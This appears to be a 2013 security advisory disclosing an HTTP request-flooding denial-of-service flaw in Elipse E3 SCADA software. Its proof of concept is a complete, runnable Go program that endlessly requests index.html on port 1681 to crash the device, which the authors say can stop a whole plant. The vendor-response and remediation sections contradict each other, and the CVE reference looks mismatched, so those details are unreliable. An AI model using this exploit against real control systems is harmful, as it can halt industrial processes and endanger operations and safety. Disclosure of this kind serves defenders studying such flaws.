VSLA Security Advisory FIRE-SCADA-DOS-2013-001:
Http DoS Requests Flooding Crash Device Vulnerabilities Elipse E3 Scada PLC.

LEVEL: EXTREME
In our tests authorized by the customer, we can stop the entire plant.

Published: 10/29/2013
Version: 1.0

Vendor: Elipse (http://www.elipse.com.br/port/index.aspx)
Product: Elipse E3 (http://www.elipse.com.br/port/e3.aspx)
Version affected: 3.x and prior

Product description:
Elipse E3 is a proprietary software.
The E3 is a system of supervision and control processes designed to meet
the current requirements of connectivity, flexibility and reliability,
making it ideal for use in critical systems (SCADA PLC).

Credit: Mauro Risonho de Paula Assumpção aka firebits

Finding 1: Http DoS Requests Flooding Crash Device Vulnerabilities by
'index.html' page.
CVE: CVE-2011-4899

Proof of Concept:
Exploit:

// Exploit Http DoS Request for SCADA ATTACK Elipse 3
// Mauro Risonho de Paula Assumpção aka firebits
// mauro.risonho@gmail.com
// 29-10-2013 11:42
// Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections
// exploit in Golang (golang.com) C Google
// Exploit Devel in Fedora:
// sudo yum install golang -y
// go run Http-DoS-Request-SCADA-ATTACK-rev1.go


// Exploit Http-DoS-Request-SCADA-ATTACK-rev1.go
package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
)

func main() {
    count := 1
//    fmt.Println ("")
//    fmt.Println ("   _____.__              ___.   .__  __           ")
//    fmt.Println (" _/ ____\__|______   ____\_ |__ |__|/  |_  ______ ")
//    fmt.Println (" \   __\|  \_  __ \_/ __ \| __ \|  \   __\/  ___/ ")
//    fmt.Println (" |  |  |  ||  | \/\  ___/| \_\ \  ||  |  \___ \  ")
//    fmt.Println (" |__|  |__||__|    \___  >___  /__||__| /____  > ")
//    fmt.Println ("                       \/    \/              \/  ")
//    fmt.Println ("                     bits on fire. ")
    fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
    fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
    fmt.Println ("29-10-2013 11:42")
    fmt.Println ("mauro.risonho@gmail.com")
    fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
    fmt.Println ("20 requests connections per second")

    for {
        count += count
        //set ip http://192.168.0.1:1681/index.html ->
        // Elipse 3 http://<ip-elipse4><port listen: default 1681>

        fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
        fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
        fmt.Println ("29-10-2013 11:42")
        fmt.Println ("mauro.risonho@gmail.com")
        fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
        fmt.Println ("20 requests connections")

        fmt.Println ("Connected Port 1681...Testing")
        fmt.Println ("Counter Loops: ", count)

        res, err := http.Get("http://192.168.0.1:1681/index.html")
        if err != nil {
            log.Fatal(err)
        }
            robots, err := ioutil.ReadAll(res.Body)
            res.Body.Close()
            if err != nil {
            log.Fatal(err)
        }
        fmt.Printf("%s", robots)
    }
}

Crash 20 Requests Paralels

Vendor Response:
Due to the fact that the component in question is an installation script,
the vendor has stated that the attack surface is too small to warrant
a fix:

"We would be possible for us to communicate the details of the test, so
we can arrange a hotfix."

VSLA Virtual Security Labs Anywhere recommends installing the hotfix,
hardware/software to be putting in a production environment.

Remediation Steps:
No official fix for these issues will be released for the Elipse.
However, administrators can mitigate these issues defining rules within
a web application firewall (WAF) solution.

Vendor Communication Timeline:
10/24/2013 - Vulnerability disclosed
10/29/2013 - Confirmation to release vulnerabilities
? - Advisory published


References
1. http://www.elipse.com.br/port/e3.aspx


About VSLA Virtual Security Labs Anywhere:
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the information.
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